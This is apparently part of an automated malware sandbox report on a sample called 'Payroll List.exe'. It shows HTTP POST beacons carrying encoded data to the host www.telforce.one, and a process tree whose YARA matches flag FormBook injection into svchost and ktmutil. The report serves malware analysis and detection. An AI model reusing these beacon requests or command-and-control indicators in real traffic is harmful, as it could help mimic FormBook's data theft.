Nov 22, 2024 14:47:07.265989065 CET	807	OUT	POST /ykhz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.telforce.one Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.telforce.one Referer: http://www.telforce.one/ykhz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 54 6c 59 58 50 45 64 70 63 68 47 44 7a 4c 6f 51 6a 4d 4f 47 4e 58 52 37 41 78 32 79 49 44 31 42 30 7a 51 31 55 2b 67 6a 32 6a 36 33 4b 4c 70 43 45 2f 48 61 42 4b 6b 76 73 4c 73 36 51 62 33 51 35 6e 33 46 53 7a 6a 4b 72 44 70 2f 63 58 6e 65 6d 67 64 41 77 44 39 4c 2f 64 4c 49 47 79 47 2f 38 78 66 38 65 53 52 48 57 2f 4d 53 43 4c 4b 5a 79 49 44 51 4c 48 30 76 7a 6d 61 41 4e 63 42 67 38 6a 4d 4f 61 42 48 71 48 4e 51 4a 4c 41 64 77 51 41 37 72 77 57 55 50 36 2b 4f 58 31 46 71 34 74 41 4b 42 53 47 37 62 36 68 67 72 36 2f 49 4c 35 79 6d 74 49 5a 4c 4f 71 55 31 6f 76 57 34 64 32 5a 37 47 77 64 4d 3d Data Ascii: NjHpTfh=TlYXPEdpchGDzLoQjMOGNXR7Ax2yID1B0zQ1U+gj2j63KLpCE/HaBKkvsLs6Qb3Q5n3FSzjKrDp/cXnemgdAwD9L/dLIGyG/8xf8eSRHW/MSCLKZyIDQLH0vzmaANcBg8jMOaBHqHNQJLAdwQA7rwWUP6+OX1Fq4tAKBSG7b6hgr6/IL5ymtIZLOqU1ovW4d2Z7GwdM=
Nov 22, 2024 14:47:08.567526102 CET	707	IN	HTTP/1.1 405 Not Allowed date: Fri, 22 Nov 2024 13:47:08 GMT content-type: text/html content-length: 556 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49742	64.190.63.222	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:47:10.438092947 CET	827	OUT	POST /ykhz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.telforce.one Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.telforce.one Referer: http://www.telforce.one/ykhz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 54 6c 59 58 50 45 64 70 63 68 47 44 79 72 34 51 76 50 6d 47 4d 33 52 34 50 52 32 79 64 7a 31 64 30 7a 63 31 55 2f 6b 7a 32 57 71 33 4b 75 56 43 48 36 7a 61 47 4b 6b 76 6e 72 74 77 64 37 33 68 35 6e 71 34 53 79 76 4b 72 44 56 2f 63 54 6a 65 6c 52 64 48 32 54 39 4a 71 74 4c 4b 4a 53 47 2f 38 78 66 38 65 53 31 68 57 37 6f 53 43 37 61 5a 7a 74 2f 54 58 58 30 6f 37 47 61 41 4a 63 42 61 38 6a 4d 57 61 46 48 41 48 50 6f 4a 4c 42 74 77 65 79 44 6f 35 57 55 56 2b 2b 50 49 6c 6e 6a 39 68 68 79 2f 4d 31 50 4c 36 42 73 46 79 70 35 68 6a 51 75 72 4c 5a 6a 6c 71 58 64 65 71 68 6c 31 73 36 72 32 75 4b 61 6f 32 62 52 34 7a 5a 4f 4a 70 37 65 37 34 4e 55 36 78 72 49 43 Data Ascii: NjHpTfh=TlYXPEdpchGDyr4QvPmGM3R4PR2ydz1d0zc1U/kz2Wq3KuVCH6zaGKkvnrtwd73h5nq4SyvKrDV/cTjelRdH2T9JqtLKJSG/8xf8eS1hW7oSC7aZzt/TXX0o7GaAJcBa8jMWaFHAHPoJLBtweyDo5WUV++PIlnj9hhy/M1PL6BsFyp5hjQurLZjlqXdeqhl1s6r2uKao2bR4zZOJp7e74NU6xrIC
Nov 22, 2024 14:47:11.826364040 CET	707	IN	HTTP/1.1 405 Not Allowed date: Fri, 22 Nov 2024 13:47:11 GMT content-type: text/html content-length: 556 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Target ID:	0
Start time:	08:44:00
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\Payroll List.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payroll List.exe"
Imagebase:	0x120000
File size:	1'212'928 bytes
MD5 hash:	F15D8B7A5271A52273A158FF2F642D12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:44:02
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payroll List.exe"
Imagebase:	0x90000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1734177353.0000000003760000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1733855292.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1734536564.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	08:44:25
Start date:	22/11/2024
Path:	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe"
Imagebase:	0x610000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3292524183.0000000004FB0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	08:44:27
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\srdelayed.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\srdelayed.exe"
Imagebase:	0x850000
File size:	16'384 bytes
MD5 hash:	B5F31FDCE1BE4171124B9749F9D2C600
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	08:44:27
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\ktmutil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\ktmutil.exe"
Imagebase:	0x6f0000
File size:	15'360 bytes
MD5 hash:	AC387D5962B2FE2BF4D518DD57BA7230
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3292196090.0000000002900000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3291497446.0000000000680000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3291358467.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	08:44:41
Start date:	22/11/2024
Path:	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe"
Imagebase:	0x610000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3295460520.0000000005260000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	11
Start time:	08:44:53
Start date:	22/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true